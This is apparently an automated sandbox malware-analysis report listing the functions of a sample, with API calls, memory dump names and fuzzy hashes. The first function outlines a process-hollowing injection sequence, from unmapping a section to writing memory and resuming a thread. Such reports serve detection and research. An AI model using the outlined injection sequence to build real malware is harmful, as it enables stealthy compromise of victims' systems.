Total number of Nodes:	40
Total number of Limit Nodes:	7

Executed Functions

Function 05E10110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 05E10156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 05E1016C
CreateProcessA.KERNELBASE(?,00000000), ref: 05E10255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 05E10270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 05E10283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 05E1029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05E102C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 05E102E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 05E10304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 05E1032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 05E10399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05E103BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 05E103E1
ResumeThread.KERNELBASE(00000000), ref: 05E103ED
ExitProcess.KERNEL32(00000000), ref: 05E10412

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 6e073682c5c74654e28eeb44782aabf13b2fa5b9f963e3efad6163d95a903e0e
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: A7B1C874A00208AFDB44CF98C895F9EBBB5FF88314F248158E949AB391D771AD81CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0459B7C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0459B7EE
Module32First.KERNEL32(00000000,00000224), ref: 0459B80E

Memory Dump Source

Source File: 00000000.00000002.1676862648.000000000459B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0459B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_459b000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: a742233b299df5fd3a1fd0a99cb81d1eeeec87ee7d20dd9d6654852381523f38
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 4FF06D326007156BEB203BB9B88DAAA76E8BF89765F100628E646914C0DB70FC459A61

Uniqueness

Uniqueness Score: -1.00%

Function 05E10420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 05E10533

Strings

0, xrefs: 05E10492
saodkfnosa9uin, xrefs: 05E104DA
d, xrefs: 05E10584
mfoaskdfnoa, xrefs: 05E10520, 05E10523

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: a7dd1df20551c1e031583d51496ceb999ca3b61b49c17c5d50f67bf1a251a98d
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 9F511A70D08388DBEB11CBE8C849BEDBFB26F11708F144058D5847F286D3BA5658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 05E105B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 05E105EC

Strings

apfHQ, xrefs: 05E105E2, 05E105E5
o, xrefs: 05E10600

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 08f942d9fff6ad2c971a47e4244cdd822844b27035d8e63047df8a5d450bdd8e
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 36012170C0424CEFDF10DB98C5583AEBFB5AF41308F1480D9C8492B241D7769B98CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0459B485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0459B4D6

Memory Dump Source

Source File: 00000000.00000002.1676862648.000000000459B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0459B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_459b000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 812345a4d605b8b06c25a44a7eb2a67de5ba32512acfdab196642322d8ce2597
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: A1113C79A00208EFDB01DF98C985E99BBF5BF08350F058094F9489B361E371EA90EF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 05E2F030 Relevance: 19.9, APIs: 10, Strings: 1, Instructions: 696
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 05E2F0A7
_wcsstr.LIBCMT ref: 05E2F14E
_strstr.LIBCMT ref: 05E2F3D6
_malloc.LIBCMT ref: 05E2F526
_memset.LIBCMT ref: 05E2F534
_strstr.LIBCMT ref: 05E2F57A
_malloc.LIBCMT ref: 05E2F6F5
_memset.LIBCMT ref: 05E2F703
_free.LIBCMT ref: 05E2F7B5
_free.LIBCMT ref: 05E2F7C2

Strings

", xrefs: 05E2F640

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memset$_free_malloc_strstr$_wcsstr
String ID: "
API String ID: 430003804-123907689
Opcode ID: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction ID: e02fe1939d34ece08ef83c33206f8e98cba7fda42bed79bd5deb033066c21961
Opcode Fuzzy Hash: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction Fuzzy Hash: 5F42D271508350ABEB20DF24CC49F9B7BE8BF85308F04192DF5DA97191EB759609CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 05E200D0 Relevance: 9.7, APIs: 6, Instructions: 732COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction ID: 811fd1765445f12ab02a5514d7a5da0feca68dc6f0540c41250605b06182c03d
Opcode Fuzzy Hash: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction Fuzzy Hash: 76526171D00228DBDF10DFA8C88DBEEB7B5BF04308F149169D49AA7294E735AA45CF91

Uniqueness

Uniqueness Score: -1.00%

Function 05E1E6E0 Relevance: 8.2, APIs: 5, Instructions: 735COMMON

Download Yara Rule

APIs

_wcsstr.LIBCMT ref: 05E1E72D
_wcsstr.LIBCMT ref: 05E1E756
_memset.LIBCMT ref: 05E1E784

Part of subcall function 05E5FC0C: std::exception::exception.LIBCMT ref: 05E5FC1F
Part of subcall function 05E5FC0C: __CxxThrowException@8.LIBCMT ref: 05E5FC34
Part of subcall function 05E5FC0C: std::exception::exception.LIBCMT ref: 05E5FC4D
Part of subcall function 05E5FC0C: __CxxThrowException@8.LIBCMT ref: 05E5FC62
Part of subcall function 05E5FC0C: std::regex_error::regex_error.LIBCPMT ref: 05E5FC74
Part of subcall function 05E5FC0C: __CxxThrowException@8.LIBCMT ref: 05E5FC82
Part of subcall function 05E5FC0C: std::exception::exception.LIBCMT ref: 05E5FC9B
Part of subcall function 05E5FC0C: __CxxThrowException@8.LIBCMT ref: 05E5FCB0

_wcsstr.LIBCMT ref: 05E1EA0C
_memset.LIBCMT ref: 05E1EE5C

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_wcsstrstd::exception::exception$_memset$std::regex_error::regex_error
String ID:
API String ID: 1338678108-0
Opcode ID: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction ID: 445534315611ea708a411bf6f306bd78f37a8b3759381483dac97f7d0e44cc63
Opcode Fuzzy Hash: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction Fuzzy Hash: C452D071A002199FDF24CF68C884BAEBFFABF48304F145569EC86AB281D7319945CB95

Uniqueness

Uniqueness Score: -1.00%

Function 05E20B00 Relevance: 6.7, APIs: 4, Instructions: 660COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction ID: 443fcde181e9745c91eebaf5fc0cefc4dfec3772357ded39de69c33470cb98f5
Opcode Fuzzy Hash: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction Fuzzy Hash: 3F42C171D00228DBDF14DFA4CC49BEEB7F5BF04308F205169D496A7294EB31AA45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 05E1DBE0 Relevance: 5.2, APIs: 3, Instructions: 702COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: 4460cfc7d376e4189493aab7bee6d1f7b5d087f923cc215c018038f4b5bb3905
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 11527470E00209DFDB15DFA4C848FEEBBB9BF49704F149198E945AB290DB30AD46CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00409028 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,004090BA,00413228,00000001,?,004091D1,00413228,00000017), ref: 0040902D
UnhandledExceptionFilter.KERNEL32(00413228,?,004090BA,00413228,00000001,?,004091D1,00413228,00000017), ref: 00409036

Memory Dump Source

Source File: 00000000.00000002.1674465849.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674451975.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674486278.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674501580.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674517335.000000000041B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674517335.0000000000420000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674586438.00000000004B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674586438.000000000409E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676690160.00000000040A0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SUwX12D2S6.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: a7f7193b172c057cca90d311833b4c14265e3460fe64a658a86dc86413b280f6
Instruction ID: 9c271a75a06423ec9a28ddb1bc8baa301202090da79109ffa78808dc319c6878
Opcode Fuzzy Hash: a7f7193b172c057cca90d311833b4c14265e3460fe64a658a86dc86413b280f6
Instruction Fuzzy Hash: 37B09231084208BBCB002B91EC09BC8BFA8EB0C662F108020FB4D44470CB62A4508A99

Uniqueness

Uniqueness Score: -1.00%

Function 05E922C0 Relevance: 1.8, Strings: 1, Instructions: 587COMMON

Download Yara Rule

Strings

$, xrefs: 05E9291E

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: af0fd1c27186359df894f4144e698558f5b76ab5af97ca442928414e970f32e5
Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: 383265B5E00329ABEF609F64CC44BAEB7B9FF44704F0051EAE64DA6151EB748980CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00408568 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00403FD2,00418880,00000014), ref: 00408568

Memory Dump Source

Source File: 00000000.00000002.1674465849.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674451975.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674486278.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674501580.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674517335.000000000041B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674517335.0000000000420000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674586438.00000000004B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674586438.000000000409E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676690160.00000000040A0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SUwX12D2S6.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 5afe31478ee58c65d876b7a4baeed35547fdf3e4120e188fd92f1da7bf0c8863
Instruction ID: 1540bc9c949ba787a89e7ff1b0f80ec7eb5a8bd6ca4c783dd8bfd2fad30b2202
Opcode Fuzzy Hash: 5afe31478ee58c65d876b7a4baeed35547fdf3e4120e188fd92f1da7bf0c8863
Instruction Fuzzy Hash: 0EB012B07011035B47080B39BD5418B35D4971C302300813D7103C1970DF30C4109F08

Uniqueness

Uniqueness Score: -1.00%

Function 05E15DF7 Relevance: .7, Instructions: 723COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction ID: 18fbb0c71c19075cc0701d05c0bdfcdb42cd69f1a168e86d4ff7f0cd8f1c59bd
Opcode Fuzzy Hash: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction Fuzzy Hash: 1B42AF71629F159BC3DADF24C88055BF3E1FFC8218F048A1DD99997A90DB38F819CA91

Uniqueness

Uniqueness Score: -1.00%

Function 05E1A026 Relevance: .5, Instructions: 478COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction ID: deac5bae1fe97c36d306311896ad40f22ca44b913cf0bcce199207dfca58061f
Opcode Fuzzy Hash: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction Fuzzy Hash: 2F22F1B6909B128FC714CF19D08055AF7E1FF88324F558A6EE8A9A7B00D730BA55CF85

Uniqueness

Uniqueness Score: -1.00%

Function 05E12B60 Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction ID: 05d082330c416e67c06a532964af8df8e1104b9eb0c871c855bdc4d54a32604c
Opcode Fuzzy Hash: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction Fuzzy Hash: CDF1B571344B058FC758DE5DDDA1B16F7E5AB88318F19C728919ACBB64E378F8068B80

Uniqueness

Uniqueness Score: -1.00%

Function 05E13520 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction ID: 0e55f8c4a36dba0f2961bdbee9a7c89629659e22e532fb383841e6b32ca94cba
Opcode Fuzzy Hash: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction Fuzzy Hash: 4C028E715187058FC756EE0CD49035AF3E2FFC8309F19892CDA8987B64E739A9198F86

Uniqueness

Uniqueness Score: -1.00%

Function 05E189D0 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction ID: 04f8396b7bde4b2bdced641ef3e52a6d72878c1d4936b1c98d6057a4f2f03f8a
Opcode Fuzzy Hash: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction Fuzzy Hash: E6C12833E2477906D764DEAE8C500AAB6E3AFC4220F9B477DDDD4A7242C9306D4A86C0

Uniqueness

Uniqueness Score: -1.00%

Function 05E1B0B0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction ID: b7a524c593755054756c1880e6867d9995f6fcc7fe8b732b8b0fde58dd90ff81
Opcode Fuzzy Hash: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction Fuzzy Hash: EDA1DA0A8090E4ABEF455A7E90B63FBAFE9CB27354E76719284D85B793C019120FDF50

Uniqueness

Uniqueness Score: -1.00%

Function 05E130F0 Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction ID: 47aeaaac46cadc797a226e4c34e547b17c64e59c69488b17d9ed8be6dbaff1af
Opcode Fuzzy Hash: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction Fuzzy Hash: 3DB14D72700B164BD728EEA9DC91796B3E3AB84326F8EC73C9046C6F55F2BCA4454680

Uniqueness

Uniqueness Score: -1.00%

Function 05E1CA10 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 2bfc15c3ea6ca4067572b871b96092b2241389f47b0cb7c965f45dfe6e4ab007
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 34C1ADB5E003199FCB54CFA9C881AEEFBF1FF48204F24856AD959E7301E334AA458B54

Uniqueness

Uniqueness Score: -1.00%

Function 05E15DE7 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction ID: e8821bdfd977f01f3336c902c55b8642b9e967b29c2de84274a3e6fff198d9bf
Opcode Fuzzy Hash: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction Fuzzy Hash: C7B183B0039FA686CBD3FF30911024BF7E0BFC525DF44194AD99986864EB3EE94E9215

Uniqueness

Uniqueness Score: -1.00%

Function 05E17520 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction ID: 27d7189f8c8df06754b50c15bff1f86bdbd81891c2a28e91efb0594d05b85dfe
Opcode Fuzzy Hash: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction Fuzzy Hash: BD912573D187BA06D7609EAF8C441B9B7E3AFC4210F9B077ADD9467282C9309E0697D0

Uniqueness

Uniqueness Score: -1.00%

Function 05E1C760 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction ID: 3525aecae99f9e829277be888716c280052ae8a654135380237351550212c605
Opcode Fuzzy Hash: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction Fuzzy Hash: 01B17AB5E002199FCB84CFE9C885ADEFBF0FF48210F64916AD919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 05E1A916 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction ID: 82353924ee88c44d1ebb259398aec54e6f9b148040321cf959721061105341f8
Opcode Fuzzy Hash: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction Fuzzy Hash: 9F71D473A20B254B8314DEB98D94192F2F1EF88610B57C27CCE85D7B41EB31B95A96C0

Uniqueness

Uniqueness Score: -1.00%

Function 05E159F7 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction ID: 42812cfeffb91985f94dd1e7cf63549d878696f6de75362574b43e93e0d83bb7
Opcode Fuzzy Hash: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction Fuzzy Hash: 6F8139B2A047019FC328CF19D88566AF7E1FFD8214F15892DE99E83741D770F8558B92

Uniqueness

Uniqueness Score: -1.00%

Function 05E18E60 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e10000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction ID: 6e367f29fd1786685533fb4516c99e070604c8cd998518ff659d122c7b2ea5bb
Opcode Fuzzy Hash: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction Fuzzy Hash: 13710622535B7A0AEBC3DA3D881046BF7D0BE4910AB850956DCD0F3181D72EDE4E77A4

Uniqueness

Uniqueness Score: -1.00%

Function 05E1A699 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1676946978.0000000005E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 05E10000, based on PE: false

Joe Sandbox IDA Plugin

